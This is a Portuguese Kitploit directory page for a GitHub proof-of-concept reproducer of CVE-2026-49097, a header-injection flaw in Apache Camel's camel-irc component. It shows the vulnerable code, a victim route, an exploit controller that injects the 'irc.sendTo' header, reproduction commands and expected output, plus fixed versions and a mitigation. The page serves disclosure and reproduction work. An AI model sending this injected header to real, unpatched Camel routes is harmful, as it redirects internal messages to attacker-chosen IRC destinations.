Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/oscerd/cve-2026-49097
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHuboscerd/cve-2026-49097

CVE-2026-49097

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Reprodutor de PoC para CVE-2026-49097 (Apache Camel camel-irc): o cabeçalho irc.sendTo sem o prefixo Camel escapa do filtro de cabeçalhos HTTP e substitui o canal configurado do produtor, redirecionando uma mensagem IRC para um destino escolhido pelo atacante. Corrigido nas versões 4.14.8/4.18.3/4.21.0.

Compartilhar

camel-irc irc.sendTo Reprodutor de Injeção de Cabeçalho (CVE-2026-49097)

Este projeto demonstra uma injeção de cabeçalho de mensagem no componente camel-irc do Apache Camel, registrada como CVE-2026-49097. O IrcProducer lê o cabeçalho irc.sendTo para escolher o destino da mensagem IRC de saída; quando presente, ele sobrescreve a lista de canais configurada no endpoint:

root@kitploit:~
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // attacker-chosen destination
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // the intended, configured channel(s)
    }
}

A constante de cabeçalho IRC_SEND_TO tem o valor simples irc.sendTo. Por não começar com o prefixo Camel / camel, o HttpHeaderFilterStrategy — que bloqueia apenas o namespace de cabeçalhos Camel na fronteira HTTP — permite que ele passe de uma requisição HTTP de entrada diretamente para o Exchange.

Em uma rota que faz a ponte entre um consumidor HTTP (por exemplo, platform-http) e um produtor irc:, qualquer cliente HTTP pode, portanto, fornecer irc.sendTo e redirecionar a mensagem para um canal ou nick IRC arbitrário, exfiltrando conteúdo que era destinado a um canal interno para um destino monitorado pelo atacante, ou personificando o bot em outro canal. Nove outras constantes irc.* foram renomeadas na mesma correção; irc.sendTo é a diretamente explorável.

Este PoC demonstra o impacto como redirecionamento de mensagem / divulgação de informações (CWE-20 → CWE-74).

Aviso: https://camel.apache.org/security/CVE-2026-49097.html

Resumo da Vulnerabilidade

A correção renomeia as dez constantes de cabeçalho irc.* para a convenção CamelIrc* (por exemplo, irc.sendTo → CamelIrcSendTo), de modo que elas são filtradas na fronteira HTTP como qualquer outro cabeçalho de controle do Camel. Mesma família das CVE-2025-27636, CVE-2026-46454 e CVE-2026-48206. Nota: camel-irc está obsoleto a partir de 4.21.0.

Por que nenhum servidor IRC é necessário

A vulnerabilidade está inteiramente na seleção de destino do IrcProducer; o socket IRC é apenas transporte. Este reprodutor executa o IrcProducer real e a classe real IRCConnection do irclib, subclassada de forma que seu send(...) (pelo qual todos os comandos do* — incluindo doPrivmsg — passam) registra o destino do PRIVMSG em vez de gravar em um socket. Um pequeno componente irc personalizado fornece essa conexão de registro. Nenhuma rede IRC é contatada.

A rota vítima

root@kitploit:~
from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

Um endpoint "notify" que encaminha para um canal interno fixo #alerts. Não há parâmetro de destino na API HTTP — o autor presume que o cliente não pode escolher o canal. O atacante define irc.sendTo e o bot publica em um canal escolhido pelo atacante.

Estrutura do repositório

root@kitploit:~
CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # real IRCConnection subclass; records PRIVMSG targets, no socket
    │   ├── RecordingIrcComponent.java   # hands out the recording connection
    │   ├── IrcComponentConfig.java      # registers it under the 'irc' scheme
    │   ├── IrcRecorder.java             # captures the last delivered target + text
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # attacker: injects irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties

Pré-requisitos

  • Docker e Docker Compose
  • Java 17+ e Maven 3.8+

Passos de Reprodução

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Saída esperada

root@kitploit:~
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true

Correção Recomendada

Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). Após a atualização, rotas que definem o destino IRC por meio de um cabeçalho devem usar o nome CamelIrcSendTo. Note que camel-irc está obsoleto a partir de 4.21.0.

Mitigação

Até atualizar, remova os cabeçalhos de controle do camel-irc de qualquer entrada não confiável antes do produtor irc: (por exemplo, removeHeaders("irc.*")) e defina o destino a partir de uma fonte confiável.

Aviso de responsabilidade

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.

Baixar ferramenta
PropriedadeValor
Componentecamel-irc
Classe Afetadaorg.apache.camel.component.irc.IrcProducer lendo IrcConstants.IRC_SEND_TO ("irc.sendTo")
CWECWE-20 (Validação de Entrada Incorreta) / CWE-74 (Injeção)
ImpactoRedirecionar uma mensagem IRC de saída para um canal/nick escolhido pelo atacante (exfiltração, personificação)
Pré-condiçõesUma rota faz a ponte entre um consumidor HTTP e um produtor irc:; não autenticado quando o consumidor está
Versões AfetadasDe 4.0.0 anterior a 4.14.8, de 4.15.0 anterior a 4.18.3, de 4.19.0 anterior a 4.21.0
Versões Corrigidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23629 (PR apache/camel#23594)
CréditoYu Bao (PayPal)